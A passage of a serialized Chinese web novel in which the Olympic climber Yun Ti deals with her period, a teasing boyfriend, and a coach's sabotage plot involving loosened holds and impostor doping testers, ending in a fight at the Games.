“你朋友们又来接你了。”陈祉希无意识扣着指尖,酸溜溜地说,“今天来的还真多。” 冬训回国后,烦人的黎星言出现频率少了很多。 但随之而来的是更多面孔。 不是光鲜亮丽的女明星明娇娇,就是最近很火的“痞子反派专业户”班列,不是油腔滑调的金牌经纪人贺君卓,就是西装革履气场大开的霸总叶玄…… 连找上国家队领导的导演都变多了,说什么想要拍摄攀岩题材的热血竞技片,将攀岩这项小众运动宣传推广为全□□动项目。 实际为谁而来,大家都心知肚明。 不过这个想法若能落地,倒也是两全其美的事。 “嗯,今天他们约我出去吃饭。” 云媞侧目问,“一起去吗?” 陈祉希回过神,“我、我去干什么?又不熟……” “就朋友之间吃个饭,难道你没把我当朋友吗?” 朋友……原来在云媞心里,自己也配得上做她的朋友…… 这个神圣的词汇让陈祉希血脉偾张。 她慌乱敛下眼睫,“下、下次吧,我还没准备好。”? 吃个饭要准备什么? 云媞还没问出口,只见对面女孩整个人热气蒸腾、巴掌大的小脸都快烧得通红。 “那什么……不出意外的话,我也入选了奥运会速攀组,这次我肯定不会再输给你。” “还有,少吃点吧你!要控制体脂率的,小心长胖了被顾教练骂。” 说罢,陈祉希扭脸跑没影了。 云媞莫名其妙回望一眼,刷卡走出场馆。 班列已经在车门旁等候多时。 “姐姐!” 他咧嘴,露出不值钱的笑容,下一秒嘴角凝滞,瞬间变了脸色,“你受伤了?!” “没,”摸了摸班列的脑袋,云媞就着他拉门的动作钻进车内,“只是生理期到了。” 大家紧张的神色霎时放松下来。 “列哥,要我说你这鼻子也太灵了,跟狗似的……” 驾驶座的贺君卓重新启动车子,在旁边明娇娇的眼神警告下,脚一哆嗦,差点把油门踩成刹车,“啊,没有骂你是狗的意思哈。” 班列满心满眼只有姐姐,哪管他在说什么。 “没事吧?疼吗?要不要我给你揉揉……” “诶诶诶!使不得啊使不得!”贺君卓一边拍喇叭,一边大喊,“要让黎小少爷知道了,还不得把你手给剁了!” 班列是兄弟,黎星言更是恩人,他要誓死捍卫恩公恩母的甜蜜爱情。 兄弟,你就死了这条心吧,补药做人人喊打的小三啊! “就是!”明娇娇怒目圆睁,“要揉也是我给媞媞揉,撒开你的咸猪手!” “还有啊媞媞,我刚看你那个队友是不是给了你一袋东西,别用!最近一定要小心谨慎,我给你买最好的!” “用得着你买吗?我会给我姐姐买。” …… 这三个活宝,凑在一起就是世界大战,要是再加上一个黎星言,地球毁灭指日可待。 云媞对此早已免疫,淡定自若地掏了掏耳朵,问班列和明娇娇:“你俩最近正在拍的那部剧,怎么样了?” 在她满世界参加比赛,冠军拿到手软时,演艺圈发生了一件大事——明娇娇和班列即将同框出演一部大IP。 其实求生综艺中,他俩就凭借反差感极强的外形及性格,吸引了一群邪门CP粉,不过那时大家还只是圈地自萌的小众磕学家。 随着班列踏足娱乐圈,演的一些反派边缘角色频频出圈,广大技艺高超的“剪刀手”将他和明娇娇的过往作品合剪成CP向二创后,事态便一发不可收拾了。 于是,有敏锐的资本、导演主动找上门来,顺应民心,促成了他俩的首次合作。 当然,以班列目前的咖位,还不够格成为明娇娇的男主,他在剧中饰演的是对女主强取豪夺的深情反派男三。 CP粉表示:做恨?那很好了,恨比爱更长久!给我埋头磕就完事儿了! “挺、挺好的……” 听到云媞问询,班列乖顺下来的同时,眼神有一丝闪躲。 贺君卓抬眼,透过车内后视镜看到他这副模样,再瞥一眼旁边安静如鸡的明娇娇,瞬间乐了,“可不挺好吗?媞姐你都不知道,他俩在片场化学反应贼强,横刀夺爱、强取豪夺、金屋藏娇,哇塞哇塞那叫一个颠鸾倒凤不知天地为何物……” “闭嘴!” 两人异口同声。 这招现在已经唬不住贺君卓了,作为堂堂金牌经纪人,他在外摸爬滚打,脸皮厚得刀枪不入。 “今天刚拍的一个剧情,反派逼迫女主和自己结婚,列哥一直不肯演,媞姐你猜是为啥?”贺君卓嘴快,等不及云媞去猜,径直公布答案,“他说他不要结婚,结了婚和姐姐就不是一家人了,哎哟喂乐死我了……” 导演逗他:你姐控啊,难不成要为了姐姐,一辈子不结婚?再说了,只是演戏而已,又不是真结婚。 不过班列还有姐姐?这倒是他不知情的。 班列老实回答:云媞就是我姐姐。 导演当场绷不住笑了:啥玩意儿又不是亲的,你俩压根不在一个户口本上,本来就不是一家人。 这句无心之言给班列气得当场罢演,碍于云媞还在训练不便打扰,他就自己一个人坐在剧组休息室生闷气。 后来导演、明娇娇还有贺君卓轮番疏导,并找云媞成功约了晚饭,这事才这么暂时揭过去。 “有那么好笑吗?”班列死死盯着贺君卓的后脑勺,满脸黑线。 对方疯狂点头,“好笑。” 明娇娇也笑,但笑里带着羞愤和难堪,“想多了,就跟谁乐意和你结婚似的,都是迫于演戏罢了!” “哦,那就好。” 望着这俩人别扭的相处氛围,贺君卓和云媞对视一眼,看破不说破。 “列哥这样,我给你出个主意,以后媞姐和黎少结婚,你就搁那儿当花童送戒指,做他俩爱情的结晶,上演一段亿万老婆买一送一……” 这边,破馊主意一条接一条。 大洋彼岸,正在筹备作品展演的黎星言在后台连打几个喷嚏。 嗯,一定是媞宝宝想我了! 第94章 赛前集训的日历一页页撕去,时间残酷而均匀地游走。 高强度训练终于显露出它狰狞的獠牙。 翌日清晨集合时,方纯熙缺席了。 消息很快传开:手腕旧伤复发,肌腱撕裂,医生勒令必须停训。 再次回到女队后,她独自坐在休息区。 那只被厚厚绷带和护具包裹的右手,沉重地搁在腿上。 谁与她说话,她都温温柔柔地回应,可眼底的不甘和失落,像回南天的潮气一般,在整个场馆的旮旯无声流淌。 事发太过突然,尽管奥运入选名单尚未公布,但所有人心知肚明:难度攀岩席位已由云媞和老将方纯熙收入囊中。 可短短一天不到,素来以“稳”著称的方纯熙竟然赛前受伤。 时间不等人,她缺席的位置,迅速被激烈的竞争填满。 陈露没想到,峰回路转,柳暗花明。机会竟然在这里等着自己。 作为能力相当的老将,在难度攀岩项目上,她是替代方纯熙的不二人选。 过程与设想有所偏差,好在结果尽如人意。 “熙子……” 走到昔日好友的身前,陈露突然为自己感到不齿。老实说,她当下心底的庆幸竟然超过了对同伴的惋惜。 她喉间一哽,干巴巴地安慰:“好好休养,下一届我们再并肩作战。” 方纯熙仰起头,没有任何迁怒或埋怨,轻声细气地回道:“好。你也加油。” 她主动伸出手,两人掌心交握、互相打气。 在陈露离开之际,方纯熙叫住她:“露露,你的实力毋庸置疑,可惜性子容易浮躁,比赛时一定要戒骄戒躁。” “别和别人比,专注自己。” 陈露背身挥了挥手,“知道了。” 至于听没听进去,或许只有她自己知道- 生理期第二天,小腹的阵痛陡然消失。 但云媞心情莫名烦躁。 本就冷淡的一张脸,此时更显漠然,陈露主动向她打招呼,却被直接无视。 很好,无形中又添了一笔新仇。 这种无由来的乏闷从早持续到晚。 直到训练馆速度区,云媞最后一次冲刺如绷紧的弓弦骤然释放,计时器上跳动的红色数字暂停。 前所未有的新成绩诞生。 四秒区!再创新高! 在众人瞠目结舌的仰视下,云媞冲坠解绳,面目表情地朝合不拢下巴的顾成玉打了声招呼,“顾教练,我先走了。” 说罢,她甚至没有抬眼看成绩,径直转身离开。 这套动作给任何一个人做,都显得有点装,但发生在云媞身上…… 嘶,对味了。 惹谁都别惹大魔王。 …… 回到家后,云媞先换掉裤子。 攀岩动作大,运动时卫生巾难贴合,她带了好几条安全裤,依旧不慎将血沾到了外裤上。 身下黏黏糊糊的体感,让洁癖豹豹心烦意乱。 为什么生理期要流血,简直多此一举。 不是说人类是高级动物吗?连这点小毛病都进化不掉? 整天被浓郁的血腥气包围,使得云媞压力倍增,也幸好普通人闻不出,不然她只会更加郁闷。 “哗啦——” 冲水之际,一道窸窣的声音正在向门外靠近。 云媞心陡然一跳,脸上的笑容还没展露,又压了下去。 “Surprise!媞宝宝!” 房门被拉开的刹那,一个抱枕甩了过去。 “你怎么又回来了?” 云媞莫名生出一股气。 黎星言灿烂的嘴角僵了一瞬,手忙脚乱接住抱枕,顺手搁到博古架上。 “媞宝宝,这句话语法有错误,我猜你是想问我,怎么才回来对吧?” 被冷眼相待,黎小少爷也没有半分幽怨,反而笑得越发纵容,“唉,看来没我在身边,媞媞的语文水平加速倒退啊。” 好奇怪,他不在时似乎也没那么 想念,现在他明明就在面前,思念却如晨雾般漫起。 被炙热的怀抱包裹住,那层坚硬的外壳脱落,云媞整个人软了下来。 她将头埋进黎星言的颈窝,闷闷地问:“那你怎么才回来?” 天地良心,春节返校后,黎星言为了极致压缩与老婆分离的时间,压根不敢松懈片刻。 这是毕业前的最后一个学期,几个影视项目收尾、毕业论文及作品展演、毕业作品外送参赛…… 还有之前云媞去M国参加国际积分赛,作为站哥的黎星言也强行挤出时间跟拍了一个星期,差点被导师以“玩物丧志”的恶名“逐出师门”。 不过好在,他最终呈现的作品狠狠“打脸”老头儿,让对方心服口服。 「好吧,看来她是你的艺术缪斯,继续追逐吧。愿你们永远灵肉契合。」 “媞媞,异地恋结束了。” 随着手臂缩紧,黎星言像八爪鱼一样严丝合缝贴在对方肌肤上,“以后你在哪儿我就在哪儿。我要像雨林的藤蔓一样,死死地缠住你。” “唔……听起来很可怕。” 云媞终于笑了,眼底没有半分惶恐,有的只是拭目以待。 两人温存片刻。 从唇齿相依到双双扑倒在床,只用了十分钟不到。 伏在云媞腰窝,黎星言鼻尖耸动,倏地停下手上的动作,“你生理期来了?” “你也闻到了?” 看着媞猫猫僵硬且无措的神情,黎星言突然福至心灵,“哎哟”一声,浮夸地捂住腹部蹲到她脚边,“不是闻到的,是我感觉到的,我的肚子好疼……” 他边说,边跟癞皮狗似的抱住对方小腿。 “哦,”云媞用脚轻轻勾他,“你回来的不是时候,做不了那事了。” “什么话?我是为了那事才赶回来的吗?搞得我像拔那啥无情的□□一样!” 黎星言小发雷霆。 可恶,自己难道在媞媞眼中,就是这种沉溺于低级趣味的无耻之徒吗? 他给自己的定位明明是纯情文艺大男孩来着…… “老实说,只要媞媞愿意,我甚至可以接受柏拉图式恋爱。” “什么图?”云媞一脸疑惑。 “嗯……就是,只谈感情不谈性的纯洁恋爱……” 没等黎星言说完,云媞斩钉截铁道:“我不愿意。” “谁跟你谈那没用的东西,我就要做,大做特做。” 顶着那张清冷高贵的脸,说这么粗鄙不堪的话,越发让人……心痒痒。 黎星言脸上爬满可疑的红晕,翘着嘴角明知故问:“和谁做呀?” “和你。” 云媞顿了一下,“可惜今天做不了了。” …… 什么高雅低俗,什么纯洁无耻。 认栽吧。 爱死了她这坦荡而直率的灵魂。 * 另一边,训练馆。 难度区的灯光下,手指与岩点的摩擦声依然不绝于耳。 陈露正凝神攻克一条陡峭线路,她反复尝试指尖发力,小臂肌肉绷紧如弦,汗水也沿着下颌线滴落,在垫子上洇开深色的水痕。 这是一条只有云媞成功完攀的线路。 发力点太过密集,技术派在绝对力量面前似乎无从下手。 她咬紧牙关,指尖死死抠住岩点。 手臂因过度发力而微微颤抖,却终是在一个需要爆发力的动态动作处脱手坠落。 四肢摊开在软垫上,陈露仰望天花板的束灯,眼神渐渐失焦。 她必须得承认,自己比不过一个新人。 一个接受系统训练不到半年的小姑娘。 这时,一道阴影覆在眼前,遮住了头顶的光亮。 陈露下意识眯起眼,还未分辨来人是谁,对方先开口了,“小露,恭喜你啊,得偿所愿。” “吕教练!”陈露倏地翻身站起。 吕观抬手扶住她的胳膊,“慢点慢点,你们最近身体可金贵啊,一定要保护好。” 陈露直点头,笑着感谢他之前对自己的安慰和鼓励。 说来神奇,吕教练就像一个宽厚仁慈的预言家,一语成谶、给她带来了意想不到的好运。 “我一定会努力的!绝不辜负吕教练你对我的期许。” “怎么这么晚了还在爬这条线路?”吕观眸光微闪,意有所指地问,“我很好奇,你的对手是谁?” “我的对手是我自己。” 陈露没听出对方话里的深意,一板一眼地回道。 状态不好就调整,线路不会迁就任何人。 她也不相信自己战胜不了这条线。 吕观笑着摇头,“如果你的对手只是自己,那现在的机会你是从哪儿得来的?” “谁夺走了原本属于你的机会,谁才是你的对手。机会不会永远向你走来。” 见她表情松动,吕观思忖数秒,意味深长道:“不会有运动员一直甘愿做千年老二,对吧?况且我知道,你并不甘落于人后。” “我……” “你知道吗?昨晚我在这里也遇到了小熙。” 他微微仰头,看着面前的岩壁装置,“她和你一样,想要翻越这座山。” 当时,吕观提点方纯熙:一堵大山矗立于此,她就不会再有出头之日。 对方却不为所动。 “可惜啊,她是个好苗子……” “你比她幸运,我相信,你也比她更聪明。” 吕观走后,陈露蹙眉望向那堵墙,心底没来由地心慌。 抹掉额上的汗水,她重新挂上绳索。 几次尝试后,终于离最高点仅有一步之遥。 只差一个动态摆荡。 正要跃身起势,忽然,她眼眸骤缩。 红色手点装置下,露出一抹错位后的锈黄。 陈露动作迟滞一瞬,神使鬼差地,踏着旁边的灰色岩点凑近,探手。 红色岩点竟不堪重负般调转方向。 岩点松动了! 「我遇到了小熙」 「她差一点就成功了」 「只可惜运气不好」 …… 陈露瘫坐在地,冷汗浸湿后背。 「小露,路不好走,但也不是完全没有捷径,你现在走的这条便是。」 「老师已经帮你清理了障碍,接下来的路,该怎样才能走好,相信你不会让老师失望的,对吧?」—— 作者有话说:[让我康康]一个小科普:难度攀岩项目中,手脚规则不同。手点必须使用指定路线颜色的岩点(即同色岩点)。脚点可以踩任意颜色的岩点、岩壁本身、甚至支撑结构(如墙壁、造型缝隙) 第95章 黎星言回来后,云媞的确不再痛经。 但小少爷像此前一样,莫名其妙连着腹痛两晚,最后陈祉希送的红糖姜茶,全灌进了他嘴里。 早上。 收拾好后,云媞准备出发去训练基地。 黎星言躺在床上气若玄虚,唇色苍白,还有力气调侃:“听说有的男人太爱妻子,甚至会在妻子怀孕时产生孕吐反应,以此分担痛苦,原来是真的啊……” 云媞没听过这种说法,歪头表示困惑:“但我没怀孕。” “说明我比他们更爱!我超爱!所以连生理期的痛也想替你分担嘛……” 趴在爱人肩头,黎小狗哼哼唧唧地撒起娇,“真好,原来我也可以很有用。” 能为云媞所用,就是他最重要的价值。 “嗯,那到时候看看,我怀孕时你是不是也会疼,不是的话就打到你疼为止。”云媞淡淡地威胁。 “没问题!” 正要举双手双脚表忠心,黎星言突然嘴角一顿,兀地瞪大双眼,“等等……媞媞你刚才说什么!” “怀孕?!” “不是现在。” “我当然知道不是现在!现在怀孕那我得抽死自己,我是说……媞媞你……” 他泪眼朦胧,颤抖着声线,用那双湿漉漉的狗狗眼一瞬不瞬地盯着云媞,“媞媞你是说,愿意为我生宝宝,对吗?” “什么叫为你,繁衍后代是为了我自己。”云媞蹙眉。 这就属于文艺男和木头女的思想歧义范畴了。 前者口中的“为”似乎只是意味着“爱情的浪漫结晶”,而后者的“为”则代表母系社会雌性所占据的绝对生育权。 不过没所谓了,在老婆脑黎星言心里,如果可以,就算让他为云媞一胎生八宝也心甘情愿。 “好好好,反正我是孩子他爹!” 黎星言来劲儿了,腰不酸腹不痛了,一口气能爬八层楼了。 热烘烘的气息扑了云媞满脸,“媞媞当爸我当妈,孩子跟你姓也可以!天大地大老婆最大,这可是我们家的优良传统嘿嘿!” 啧啧,擦枪走火的关头,此男除了弄老婆一身口水,还能干些啥。 云媞嫌弃地擦掉脸上的水渍,勒令他在家好好休息。 临出门,她换了张卫生巾。 生理期第三天,量依然很大。 不会影响训练,但影响心情,云媞讨厌这种兜不住血的感觉。 “怎么不试试棉条?” 黎星言好奇问:“家里我之前有给你囤,但好像没见你用过,是不习惯吗?” 云媞沉默数秒,“……不会。” 女队的同伴们还有陈祉希、明娇娇也有给她准备,她尝试用过,但没成功。 原主此前用的都是便宜散装卫生巾,所以棉条这玩意儿对豹豹媞来说,是一个全然陌生的异物,放进体内更是惊悚。 没人教她怎么用,她对此也不上心。 “这个简单!” 黎星言自信满满,结果下一秒掏出手机,“等会儿啊我先观摩学习一下,很快。” 看完教学视频,他捏了捏发烫的耳垂,“来吧,我教你。” …… 几分钟后,云媞神清气爽。 黎星言反倒像被抽干了精气,坐在地上手直抖。一边替她擦拭,一边叮嘱道:“不要用别人给的,注意勤换,现在媞宝宝确定会用了,对吧?” 得到云媞肯定回复后,他俯身,轻轻吻了一下。 待人走后,黎星言倚靠到卫生间门口,看着一地狼藉,久久未能回神。 嗯…… 不在变态中爆发,就在变态中灭亡。 * 截止日期将近,参赛名单报送奥委会。 陈祉希作为新生代表入选速攀组,经验老将陈露入选难度攀岩项目。 而云媞则包揽攀岩三项比赛。 奥运会攀岩项目无替补名单机制,原则上不允许临时换人。 这意味着,一旦名单提交,除非发生极端特殊情况(如兴奋剂违规等),否则云媞必须得独自挑起大梁,若突发状况无法上场,将直接丢失女队在该项目上的竞争席位。 将所有鸡蛋放在同一个篮子里,风险系数过大。 这是国家队前所未有的大胆尝试,不仅有孤注一掷的决心,更是对云媞能力的绝对信任。 赛前封闭集训开启。 这段时间,所有获得奥运资格的运动员们,需遵循医嘱停用一切含禁用成分的药物,并配合国际反兴奋剂组织进行抽检。 作为世界瞩目的冠军种子选手,云媞被抽检的频率最高,几乎每隔一两天就要进行一次尿检或血检。 再加上餐食标准严格,她无法再随心所欲由着性子大吃大喝,脸是一天比一天冷。 连带着顾成玉都提心吊胆,生怕她一个不顺心直接撂挑子走人。 不过,豹豹到底是成长了,知道契约精神在人类世界的重要性,她既然答应了参赛,就不会半途而废。 但让云媞没想到的是,几天后,她竟然在食堂吃到了家的味道。 一改往常味同嚼蜡的配餐,菜式花样不仅丰富起来,连口味也异常符合自己的喜好。 她循着味儿找到后厨时,一道熟悉的身影正在忙碌地颠勺,一边还口头指挥几个厨师帮忙打下手。 是陈大厨!黎家她最喜欢的厨师长! 如有所感般,陈浩转头,直直撞见云媞热切的目光。 他慈爱地笑了,打了个手势,示意她稍等。 将手上这道菜做完后,他才擦了擦手,走出后厨。 “媞媞,这么快就发现啦?” “你从家里辞职了?是给你开的工资不够吗?”云媞急冲冲打断他的问询,“这里多少钱雇的你?我再给加十倍!我现在很有钱……” 陈浩眼底笑意愈盛,眼尾褶皱显得为人越发慈祥亲和。 没想到凡事淡然冷静的小姑娘,会因为以为自己要走而着急挽留,他心里感动得一塌糊涂,“没有的事儿!我怎么会离开咱家呢?” “是黎小少爷怕媞媞在这儿吃不好,把我安排进来照顾你的饮食。” 陈浩没说的是,国家队的厨师光有关系还不行,也得进行正规统一考试。 他自己厨力过硬,再加上为了能跟着云媞一路进军奥运,前段时间没少埋头苦学营养搭配,最后以第一名的成绩当选了随队厨师长。 “媞媞,放心,有你陈叔在,就不能让咱家孩子吃不好!你安心训练,为国争光!” 老一辈总是对“为祖国做奉献”有种特殊情怀,云媞尚不理解何为国家荣誉,却莫名被对方激昂澎湃的斗志激励。 她握拳扼腕,懵懵懂懂地跟着说。 “好,为国争光!” * M国,奥运会速攀决赛现场。 当云媞完成最后一条速度赛道的攀爬,指尖重重拍上终点触板时,整个攀岩馆的空气一片死寂。 3′57″!!! 巨大的屏幕上,她以不可能的数字,毫无争议地提前锁定金牌。 “断层第一!前所未有的统治力!” 解说员声嘶力竭,几乎破音,“观众朋友们,看啊!太不可思议了!前几日全程直播的半决赛赛程中,速度赛,云媞以四秒出头的惊人成绩直通决赛。抱石赛,云媞只用了一次尝试便成功完攀!难度赛,系数最高的线路,云媞以悬殊的差距以及令人窒息的流畅度登顶!而今天!在争夺奥运首金的决赛现场,她竟然再一次打破了由自己创造的奇迹!” “云媞!她不是在比赛,她是在重新定义攀岩的极限!” 观众席沸腾了。 异国他乡,由亚洲面孔聚集的巨大人浪一圈圈荡开,五星红旗疯狂舞动。 闪光灯汇成一片汹涌的星河,追逐着岩壁下那个正被教练和队友簇拥的身影。 “云媞!云媞!云媞!” 齐齐的呐喊响彻整个场馆。 虽然之前无论是在片场,还是世界积分赛上,云媞总是受人追捧的对象,这种场景照理说早已司空见惯。 可这一刻,她突然被一股强大的集体荣誉感所感染。 这是此前从未有过的体悟。 并非迫使,也并非禁锢,更没有妨碍她作为个体的自由,原来与某个群体勠力同心的感受是这样的。 在这个想象的共同体中,人们不再形单影只,不再孤芳自赏,不再孤军奋战,大家被相同的使命召唤。 通往最高舞台的大门,被他们最杰出的战友云媞,以碾压的姿态轰然撞开。 现场的华人观众自发唱起国歌,有人甚至激动地掩面而泣。 云媞内心被深深触动,一改往常的冷静,笑着向观众挥手,欣然迎接属于她的荣耀时刻。 然而,就在这狂欢的巅峰,一丝不和谐的杂音如同冰锥刺入。 靠近前排某个外国观众聚集的区域,零星却刺耳的嘘声突然响起。 起先微不可闻,但很快,一种令人不安的窃窃私语如同瘟疫般在看台上蔓延开来。 “虽然我也是华裔,但这也太离谱了吧……四秒不到,这怎么可能?” “什么鬼,刚刚她是飞上去的吗?” “看看她那个爆发力……这还是正常人类吗……” “完了,别到时候被查出来打了兴奋剂啥的,那真是丢脸丢到国外了。” 解说席上,经验丰富的解说员敏锐捕捉到现场气氛的微妙转变,他搭档的声音里也染上一丝不易察觉的迟疑:“观众朋友们,云媞的成绩无疑是现象级的……但显然,这种超乎想象的表现也引来了……一些难以置信的反应。” “不过我们相信,在奥运这个神圣而公正的赛场上,任何虚假都将无处影遁,当然,荣耀的王冠也终会回到它的主人手中。” “届时,请让我们毫无保留地为英雄加冕,举杯共庆新纪元的到来!” …… 赛后。 两名身着白色制服的工作人员来到云媞身前。 一个亚洲面孔,一个欧美面孔。 “云媞选手,根据国际奥委会反兴奋剂条例相关规定,以及现场技术裁判组的联合提请,请您跟随我们前往指定区域,接受赛后强制性兴奋剂检测。” 和顾成玉料想的一样,他们很快找上了门。 「别担心,配合药检就行。咱们身正不怕影子斜,没做就是没做,再怎 么查也查不出个花来,别被那群吃干饭的影响心情哈……」 顾教练的叮嘱犹在耳畔。 云媞坦然起身,与二人并肩而行。 弯弯绕绕几个甬道后,来到一间类似医学实验室。 方圆几里,空无一人。 推门而入的那一刻,云媞突然问:“只有我一个人要检测吗?” 身形高大的外国男人率先接过话茬,“是,请随我们入内……” 话音未落,感应门自动开启。 “说什么鸟语听不懂,不会讲中文?” 云媞皱眉进屋,瞥了亚洲男人一眼,“你会吗?” 被点名的男子愣怔数秒,视线躲闪,“哦哦,针对普通运动员的检测是分批次抽查进行,您因为成绩过于突出需要单独受检。” 说罢,他让云媞坐在椅子上稍作等待,随后从台上抽出一瓶矿泉水递过去,“待会儿要尿检,可以先喝点水憋尿。” 外国男人背身站在台后,似乎在鼓捣抽检设备。 “咔嚓。” 感应门锁扣闭合。 男子递水的指尖微不可察地颤抖了一下。 云媞挑眉,顺手接过。 她拧开瓶盖,仰头做喝水状。 瓶口离唇瓣越近,余光中,面前那道暗中观察的视线便越发炙热。 就在透明液体即将涌出瓶口,灌入喉间之际,云媞陡然停下,挪开瓶身,直勾勾盯着眼前的亚洲男人。 “怎么?你也想喝吗?”- “云媞呢?谁知道云媞在哪里?” 临时休息室。 顾成玉神情慌乱,逮着一个人就询问云媞的下落。 赛后她俩被媒体缠住,有扬眉吐气的国内中央级官媒,也有不怀好意的外国媒体。 为了不让各路舆论影响到云媞,顾成玉让她先去休息间等自己,然后独自抗下了长枪短跑的压力。 谁知,一转头,云媞已不见踪迹。 听说,有人见她跟着两名药检工作人员离开,顾成玉眼皮狂跳。 放屁!带走云媞的如果是药检师,那刚才联系自己、通知云媞去检测的国际反兴奋剂组织人员又是谁? 冒充工作人员?!他们的目的又是什么?! 在国际赛事中竟然出现如此明目张胆的事情,简直太荒唐了! 顾成玉气得浑身发抖。 顾不得追究是真是假、孰对孰错,此时,她最担心的是云媞的安危,那两人明显就是冲她来的! “顾教练!顾教练!您见到媞媞了吗?” 刚比完赛的陈祉希,赛服都来不及更换,挥着一双沾满镁粉的手直冲冲跑过来。 “有人要陷害媞媞!” 第96章 几分钟前。 陈祉希收到朱元义的消息。 「小希!她被测出了兴奋剂,速攀金牌很有可能是你的!恭喜你啊!我就知道你比她厉害!」 只用了一秒,陈祉希就明白「她」指的是谁。 云媞会用兴奋剂?简直可笑。 但……朱元义为何这么说?还如此笃定?他从哪里得知的消息? 疑惑之际,她突然接到陈露的电话,对方声线哽咽似乎很紧张,“小希,你和云媞在一起吗?快拦住她!拦住她……” 陈祉希当即意识到不对劲,便跑来寻求顾成玉的帮助。 “一两句话说不清,陈露电话里断断续续语无伦次的,也不知道具体在说什么,总之她不敢来见您。” 陈祉希拧眉,斩钉截铁地说:“但她肯定明白发生了什么,说不定也清楚是谁带走了云媞!” 数十人一拍即合,分头行动。 找到陈露时,她正独自坐在奥运村后花园的长椅上,垂着头,肩膀也在微微耸动。 “陈露!你说清楚!” 陈祉希一把拽起她的后衣领,迫使对方抬头,“是谁要……” 下一秒,一张哭得泪流满面的脸庞映入眼帘。 喉间陡然一哽,陈祉希转头看向顾成玉。 “小露……说说吧。” 尽管心里已经有了眉目,但顾成玉仍轻叹一声,选择让她自己说出来。 “我相信,你能给小希打那通电话,就代表你有意悔过,对吗?”- 凌厉的拳风擦脸而过。 云媞侧身后仰,敏捷躲过一击,随即抬脚直踹。 实验台轰然倒塌,玻璃器皿碎了一地。 对面先动手的外国男人撑手跃起,堪堪避开。 “卧槽!你们干什么!” 华国男子抱头鼠窜,惊恐地朝外国人喊道:“喂!你打她做什么!咱们不是说好了,给她注射完药剂,你就拿钱走人吗?” 对面充耳不闻,用那双深邃而毫无温度的绿色眼睛凝视云媞,“告诉我,Vilereus在哪儿?” 此人正是Vilereus的心腹助理Arvid。 出事那天,他被派去稀树草原寻找那只花豹的踪迹,本以为胜券在握,谁知却被狡猾的花豹耍得团团转,最后自投罗网,被国际警方逮捕。 他费尽千辛万苦成功逃脱,整个世界却早已改头换面。 Vilereus“畏罪潜逃”“生死不明”,名下产业悉数查封,古堡荒废得爬满了枯藤,生父也与他全盘割席。 Arvid隐约记得Vilereus那天有意单独约见云媞,提前支开了所有助理和保镖,似乎想要找这个女孩确认什么东西。 所以,Vilereus神秘失踪,一定也与她脱不了干系。 “他死了。”云媞冷声说。 “你杀的?!”Arvid幽绿色的瞳孔骤缩,用蹩脚的中文复述,“你杀了他。” 不是疑问,而是笃定。 缩在角落的华国男人这才察觉出异常。 他当即掏出手机,正要录像。 “砰”得一声。 一股强劲的力量将手机打落,在地上翻滚两圈后,烧焦的气味连同电流滋滋声一齐出现。 低头。 手机屏幕上赫然一个窟窿,泛着金属光泽的子弹头嵌入底板,黑色液体也顺着裂缝流出。 “再敢乱动,我保证,接下来倒在地上的会是你。” Arvid面部表情地举起手枪。 “不、不敢了不敢了……您别开枪啊!”华国男捂着嘴瘫软在地、涕泗横流。 目光重新聚回云媞身上。 Arvid仍满腹疑惑,“那你把Vilereus埋在了哪里?” “很重要吗?” 云媞满不在意地耸肩,“或许如他所愿,已经被野兽啃噬干净了。” 「中国有句古话,叫“方生方死,方死方生”,意思是说:事物从出生之日起就慢慢走向死亡,而死亡也意味着重新开始。Arvid,我们生于自然死于自然,对我来说,死于野兽之口,才是一种永生。」 云媞的随口一语与Vilereus曾经的言论不谋而合。 Arvid一时触动。 他其实不明白自己为什么一定要找到Vilereus,他们从小一起长大,是最了解彼此的人,但说实话,感情并未深到要花一切代价为对方报仇的程度。 他有时并不理解Vilereus那些“非人类”的变态思维,之前也想过是否要离开,开启新的人生。 但就像是基因里携带的某种使命,无论同伴是死是活,他只要知晓一个确切的答案。 在Arvid陷入沉思时,数里开外,繁杂身影正在向此处奔来。 云媞耳根微动,辨别出几道熟悉的脚步声。 跑在最前面的是黎星言。 瞥一眼Arvid手上的枪支,梦里黎星言中枪倒在血泊中的场景走马灯一般闪现。 她不能让这样的梦魇成真。 必须先下手为强。 云媞不动声色靠近,在对方察觉之前猛得甩腿,难以抵御的腿风将高大男人掀翻在侧,撞到墙上后狠狠摔下。 Arvid吃痛蜷缩,毫无还手的余地。 手枪脱落,在光滑的地板上转了好几个圈,最终停到华国男面前。 事情发生不到十分钟,胜负已然 定下。 华国男人扑通跪下,慌乱拾起手枪举过头顶,像是主动投诚。 “媞姐、媞姐!我真的没有想要杀你的念头,是、是老师!老师说只要我能让你的成绩失效,就可以稳进国家队……” “老师?”云媞漫不经心转起手枪,“是谁?” “……” “不说?” 黑压压的枪口抵在额头,似乎还冒着残留的热气。 “是吕观!吕教练指使我这么做的!” “嘭”得一声,大门砸开。 乌泱泱的人站在门外,脸上皆是不可置信。 …… 原来,从选拔赛那天起,吕观就盯上了云媞。 他嫉妒这个女孩异于常人的天赋,就如同几十年前嫉妒顾成玉那般。 他无数次都在想,云媞若是我的学生就好了,她甚至比所有男运动员更出色。 这样的人,能带给他无上荣誉,也能被他狠狠压在掌下。 可她偏偏成了顾成玉的学生,难道是为了帮她弥补当年的遗憾吗?顾成玉又要压他一头、重回大众关注视野了吗? 每每想到这里,吕观心焦如焚。 他痛恨天才,更厌恶被他们的阴影所笼罩、惶惶不得终日的感觉。 知道陈祉希与云媞不对付,他原本派出朱元义前去试探,但那个女孩正得发邪,并非易于掌控的目标对象。 后来,他瞧中陈露,几番接触后,决定利用女孩的嫉妒心摧毁云媞,以及她们的好教练顾成玉。 意外受伤或旧伤复发,这是运动员的家常便饭,也是最容易动手脚的环节。 再不济,在卫生巾或日常饮食中添加含违禁药物的成分,若被查出兴奋剂检测不合格,不仅能清除云媞既有的国际成绩、获得几年禁赛惩罚,更能让她身败名裂。 总之,一个教练,有的是办法让手下学员再无出头之日。 但没想到,云媞比他想象的更加敏锐。 陈露屡次失败,奥运会紧锣密鼓逼近,吕观急了,等进了奥运村再下手,恐怕就没那么简单了。 直到,Arvid出现了。 …… “混蛋!人渣!禽兽不如!” 顾成玉气得破口大骂。 外患还没解决,反倒被内敌往死里整。 这么多年了,吕观的心眼依旧比针孔还小,甚至因被捧得太高,而变得越发为非作歹、无法无天。 “我要告到中央!这次我绝对不会再轻易饶过他!” 一向宽厚待人的顾教练,此时拽着吕观的帮凶,像拖垃圾一样毫不留情地拎起对方衣领,往外走去。 “等等。”云媞拦住她。 